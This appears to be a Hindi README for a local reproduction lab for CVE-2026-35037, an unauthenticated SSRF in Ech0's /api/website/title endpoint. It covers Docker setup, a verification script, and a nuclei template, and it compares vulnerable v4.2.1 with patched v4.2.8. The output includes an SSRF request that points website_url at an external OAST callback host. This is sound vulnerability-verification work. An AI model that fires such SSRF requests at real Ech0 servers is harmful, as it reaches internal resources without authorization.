
CVE-2026-35037 के लिए स्थानीय पृथक पुनरुत्पादन प्रयोगशाला, Ech0 के GET /api/website/title एंडपॉइंट में एक अनधिकृत SSRF भेद्यता। Docker Compose सेटअप, सत्यापन स्क्रिप्ट, और सत्यापन के लिए nuclei टेम्पलेट शामिल है।
यह रिपॉजिटरी CVE-2026-35037 के लिए एक स्थानीय, पृथक पुनरुत्पादन प्रयोगशाला है, जो Ech0 के GET /api/website/title एंडपॉइंट में एक अप्रमाणित SSRF कमजोरी है।
प्रयोगशाला क्लाउड मेटाडेटा या तृतीय-पक्ष बुनियादी ढांचे के बजाय एक नियंत्रित स्थानीय साक्ष्य सर्वर का उपयोग करती है।
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1 सूचीबद्ध करता है; NVD 4.2.8 से पहले के संस्करणों का वर्णन करता है4.2.8GET /api/website/titlewebsite_urlसंदर्भ:
docker-compose.yml: Ech0 और एक स्थानीय साक्ष्य HTTP सर्वर प्रारंभ करता हैDockerfile.ech0-lab: आधिकारिक GitHub टैग से Ech0 बनाता हैverify-cve-2026-35037.sh: नियंत्रित SSRF सत्यापन अनुरोध भेजता हैevidence/index.html: एक अद्वितीय <title> के साथ नियंत्रित HTML पृष्ठnuclei/CVE-2026-35037.yaml: nuclei टेम्पलेट उम्मीदवारजब यह प्रयोगशाला बनाई गई थी, तब sn0wl1n/ech0:4.2.1 जैसे ऐतिहासिक कमजोर Docker टैग उपलब्ध नहीं थे। प्रयोगशाला इसके बजाय आधिकारिक lin-snow/Ech0 GitHub टैग से बनाती है:
v4.2.1 कमजोर उम्मीदवार के लिएv4.2.8 पैच किए गए तुलना के लिएस्थानीय Dockerfile ऐतिहासिक build.Dockerfile के साथ देखी गई अपस्ट्रीम बिल्ड समस्याओं से भी बचाता है।
curlnucleiइसे केवल स्थानीय पृथक प्रयोगशाला में चलाएं। तृतीय-पक्ष सिस्टम के विरुद्ध इन कमांडों का उपयोग न करें। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
Ech0 v4.2.1 प्रारंभ करें:
ECH0_TAG=4.2.1 docker compose up -d --build
नियंत्रित सत्यापन अनुरोध भेजें:
sh verify-cve-2026-35037.sh
अपेक्षित कमजोर प्रतिक्रिया:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
पुष्टि करें कि Ech0 नियंत्रित साक्ष्य सर्वर तक पहुंच गया है:
docker compose logs evidence
देखा गया साक्ष्य लॉग:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Ech0 v4.2.8 प्रारंभ करें:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
वही अनुरोध चलाएं:
sh verify-cve-2026-35037.sh
देखा गया पैच किया गया प्रतिक्रिया:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
टेम्पलेट मान्य करें:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
कमजोर v4.2.1 के विरुद्ध चलाएं:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
देखा गया कमजोर परिणाम:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
पैच किए गए v4.2.8 के विरुद्ध चलाएं:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
देखा गया पैच किया गया परिणाम:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ का उपयोग करती है।{{interactsh-url}} का उपयोग करता है और OAST/interactsh समर्थन की आवश्यकता है।{{interactsh-url}} का उपयोग करता है, जो डिफ़ॉल्ट रूप से ProjectDiscovery के interactsh सर्वरों जैसे oast.online या oast.fun से संपर्क करता है। सर्वर को ओवरराइड करने के लिए -iserver का उपयोग करें या interactsh को अक्षम करने के लिए -ni का उपयोग करें।